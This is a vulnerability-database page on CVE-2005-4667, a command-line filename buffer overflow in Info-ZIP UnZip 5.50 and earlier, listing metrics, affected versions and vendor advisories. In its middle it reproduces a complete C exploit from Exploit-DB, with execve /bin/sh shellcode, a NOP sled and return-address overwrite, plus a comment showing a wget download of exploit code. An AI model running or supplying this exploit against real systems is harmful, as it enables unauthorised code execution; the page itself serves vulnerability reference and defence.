CVE-2005-4667 : Detail

CVE-2005-4667

Overflow
1.02%V3
Local
2006-01-25
20h00 +00:00
2018-10-19
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Buffer overflow in UnZip 5.50 and earlier allows user-assisted attackers to execute arbitrary code via a long filename command line argument. NOTE: since the overflow occurs in a non-setuid program, there are not many scenarios under which it poses a vulnerability, unless unzip is passed long arguments when it is invoked from other programs.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 3.7 AV:L/AC:H/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 26913

Publication date : 2005-12-18 23h00 +00:00
Author : DVDMAN
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/15968/info Info-ZIP 'unzip' is susceptible to a filename buffer-overflow vulnerability. The application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. This issue allows attackers to execute arbitrary machine code in the context of users running the affected application. /* By DVDMAN (DVDMAN@L33TSECURITY.COM)dvdman@snosoft.com http://www.snosoft.com http://WWW.L33TSECURITY.COM L33T SECURITY Keep It Private based on code by hackbox.ath.cx > wget http://hackbox.ath.cx/mizc/unzip-expl.c lame unzip <= 5.50 tested on redhat 7.2 By DVDMAN L33TSECURITY.COM */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #define MAX "\x39\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30" #define BUF 3264+1900+20000 #define LOC 3262 #define OFFSET 700 // brute force it char fakechunk[] = "\xf0\xff\xff\xff" "\xfc\xff\xff\xff" "\xde\x16\xe8\x77" "\x42\x6c\xe8\x77"; char execshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89" "\xc2\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\x40" "\xcd\x80"; /* newroot's shellcode */ int main (int argc, char *argv[]) { char buf[BUF + 1]; int x; char *ptr; int i=0,offset=OFFSET; unsigned long addy = 0xbffffab0; if (argc < 2) { printf("[L33TSECURITY]"); printf("UNZIP EXPLOIT BY DVDMAN "); printf("[L33TSECURITY]\n"); printf("[Usage] %s Offset\n",argv[0]); return; } if (argc > 1) offset = atoi(argv[1]); memset(buf,0x90,BUF); ptr = buf + ((BUF) - strlen(execshell)); for (i=0;i<strlen(execshell);i++) *(ptr++) = execshell[i]; *(long*)&buf[LOC] = addy + offset; *(long*)&buf[LOC+4] = addy + offset; buf[BUF] = 0; if (buf < MAX) { x = atoi(fakechunk + 2); memset(buf,x,BUF); execl("/usr/bin/unzip","unzip",buf,NULL); } execl("/usr/bin/unzip","unzip",buf,fakechunk,NULL); return; }

Products Mentioned

Configuraton 0

Info-zip>>Unzip >> Version 5.2

    Info-zip>>Unzip >> Version 5.3

      Info-zip>>Unzip >> Version 5.31

        Info-zip>>Unzip >> Version 5.32

          Info-zip>>Unzip >> Version 5.40

            Info-zip>>Unzip >> Version 5.41

              Info-zip>>Unzip >> Version 5.42

                Info-zip>>Unzip >> Version 5.50

                References

                http://secunia.com/advisories/25098
                Tags : third-party-advisory, x_refsource_SECUNIA
                https://usn.ubuntu.com/248-2/
                Tags : vendor-advisory, x_refsource_UBUNTU
                http://www.info-zip.org/FAQ.html
                Tags : x_refsource_CONFIRM
                http://www.securityfocus.com/archive/1/430300/100/0/threaded
                Tags : vendor-advisory, x_refsource_FEDORA
                http://www.mandriva.com/security/advisories?name=MDKSA-2006:050
                Tags : vendor-advisory, x_refsource_MANDRIVA
                http://www.trustix.org/errata/2006/0006
                Tags : vendor-advisory, x_refsource_TRUSTIX
                http://www.redhat.com/support/errata/RHSA-2007-0203.html
                Tags : vendor-advisory, x_refsource_REDHAT
                https://usn.ubuntu.com/248-1/
                Tags : vendor-advisory, x_refsource_UBUNTU
                http://www.osvdb.org/22400
                Tags : vdb-entry, x_refsource_OSVDB
                http://www.securityfocus.com/bid/15968
                Tags : vdb-entry, x_refsource_BID
                http://www.debian.org/security/2006/dsa-1012
                Tags : vendor-advisory, x_refsource_DEBIAN